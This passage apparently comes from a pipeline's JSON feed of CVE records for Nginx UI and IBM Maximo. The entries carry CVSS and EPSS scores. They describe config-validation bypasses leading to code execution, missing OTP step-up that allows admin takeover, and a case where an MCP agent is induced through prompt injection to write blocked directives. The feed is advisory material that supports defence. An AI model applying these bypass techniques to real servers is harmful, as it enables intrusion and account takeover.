load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:22.360Z","updatedAt":"2026-10-13T15:17:50.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84318","asOf":"2026-10-13T15:17:50.383Z"},"epss":{"probability":0.00816,"percentile":0.56817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84318","type":"primary","publishedAt":"2026-10-12T21:17:22.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84317","cveId":"CVE-2026-84317","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:22.213Z","updatedAt":"2026-10-13T18:17:26.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84317","asOf":"2026-10-13T18:17:26.047Z"},"epss":{"probability":0.00478,"percentile":0.40942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84317","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84317","type":"primary","publishedAt":"2026-10-12T21:17:22.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84316","cveId":"CVE-2026-84316","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:22.067Z","updatedAt":"2026-10-13T15:17:50.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84316","asOf":"2026-10-13T15:17:50.270Z"},"epss":{"probability":0.00507,"percentile":0.42978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84316","type":"primary","publishedAt":"2026-10-12T21:17:22.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84315","cveId":"CVE-2026-84315","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, Nginx UI does not apply RequireSecureSession to multiple authenticated mutation routes even though OTP-enabled users are expected to present a fresh X-Secure-Session-ID for sensitive actions. A stolen authenticated session can therefore create or alter automatic backups, DNS credentials and records, certificates and ACME users, Nginx control settings, and site or stream automation without completing the OTP or passkey step-up. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, Nginx UI does not apply RequireSecureSession to multiple authenticated mutation routes even though OTP-enabled users are expected to present a fresh X-Secure-Session-ID for sensitive actions. A stolen authenticated session can therefore create or alter automatic backups, DNS credentials and records, certificates and ACME users, Nginx control settings, and site or stream automation without completing the OTP or passkey step-up. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:21.900Z","updatedAt":"2026-10-13T16:17:23.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84315","asOf":"2026-10-13T16:17:23.613Z"},"epss":{"probability":0.00337,"percentile":0.26849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84315","type":"primary","publishedAt":"2026-10-12T21:17:21.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84314","cveId":"CVE-2026-84314","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the POST /api/users/:id user-management endpoint permits an authenticated user to change another user's password without passing RequireSecureSession, even though the self-service password-change path requires that step-up. An attacker with an authenticated account can change the initial administrator's password, invalidate existing administrator tokens, and then authenticate as the administrator. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the POST /api/users/:id user-management endpoint permits an authenticated user to change another user's password without passing RequireSecureSession, even though the self-service password-change path requires that step-up. An attacker with an authenticated account can change the initial administrator's password, invalidate existing administrator tokens, and then authenticate as the administrator. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:21.753Z","updatedAt":"2026-10-13T18:17:25.927Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84314","asOf":"2026-10-13T18:17:25.927Z"},"epss":{"probability":0.00419,"percentile":0.35936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84314","type":"primary","publishedAt":"2026-10-12T21:17:21.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84313","cveId":"CVE-2026-84313","aliases":[],"kind":"vulnerability","title":"Nginx UI is a web user interface for the Nginx web server.","summary":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.","detail":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:21.597Z","updatedAt":"2026-10-15T14:17:29.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84313","asOf":"2026-10-15T14:17:29.597Z"},"epss":{"probability":0.00542,"percentile":0.45306,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84313","type":"primary","publishedAt":"2026-10-12T21:17:21.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78673","cveId":"CVE-2026-78673","aliases":[],"kind":"vulnerability","title":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.","summary":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.","detail":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:21.463Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78673","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00313,"percentile":0.24004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78673","type":"primary","publishedAt":"2026-10-12T21:17:21.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75881","cveId":"CVE-2026-75881","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing...","summary":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing certain inputs.","detail":"IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing certain inputs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:21.337Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75881","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00313,"percentile":0.24003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75881","type":"primary","publishedAt":"2026-10-12T21:17:21.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18537","cveId":"CVE-2026-18537","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in...","summary":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in a Kubernetes operator template.","detail":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in a Kubernetes operator template.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:16.940Z","updatedAt":"2026-10-14T04:18:18.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18537","asOf":"2026-10-14T04:18:18.810Z"},"epss":{"probability":0.00234,"percentile":0.14209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18537","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18537","type":"primary","publishedAt":"2026-10-12T21:17:16.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18529","cveId":"CVE-2026-18529","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value...","summary":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value passed to a shell command in a Kubernetes operator task.","detail":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value passed to a shell command in a Kubernetes operator task.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:16.653Z","updatedAt":"2026-10-14T04:18:18.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18529","asOf":"2026-10-14T04:18:18.480Z"},"epss":{"probability":0.00672,"percentile":0.51802,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18529","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18529","type":"primary","publishedAt":"2026-10-12T21:17:16.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18517","cveId":"CVE-2026-18517","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended...","summary":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended network egress due to a misconfigured Kubernetes NetworkPolicy.","detail":"IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 IBM Maximo Application Suite — Location Service for Esri Component is vulnerable to unintended network egress due to a misconfigured Kubernetes NetworkPolicy.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:16.517Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18517","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00201,"percentile":0.09837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18517&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18517","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18517","type":"primary","publishedAt":"2026-10-12T21:17:16.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18517&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18517, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18513","cveId":"CVE-2026-18513","aliases":[],"kind":"vulnerability","title":"IBM Maximo 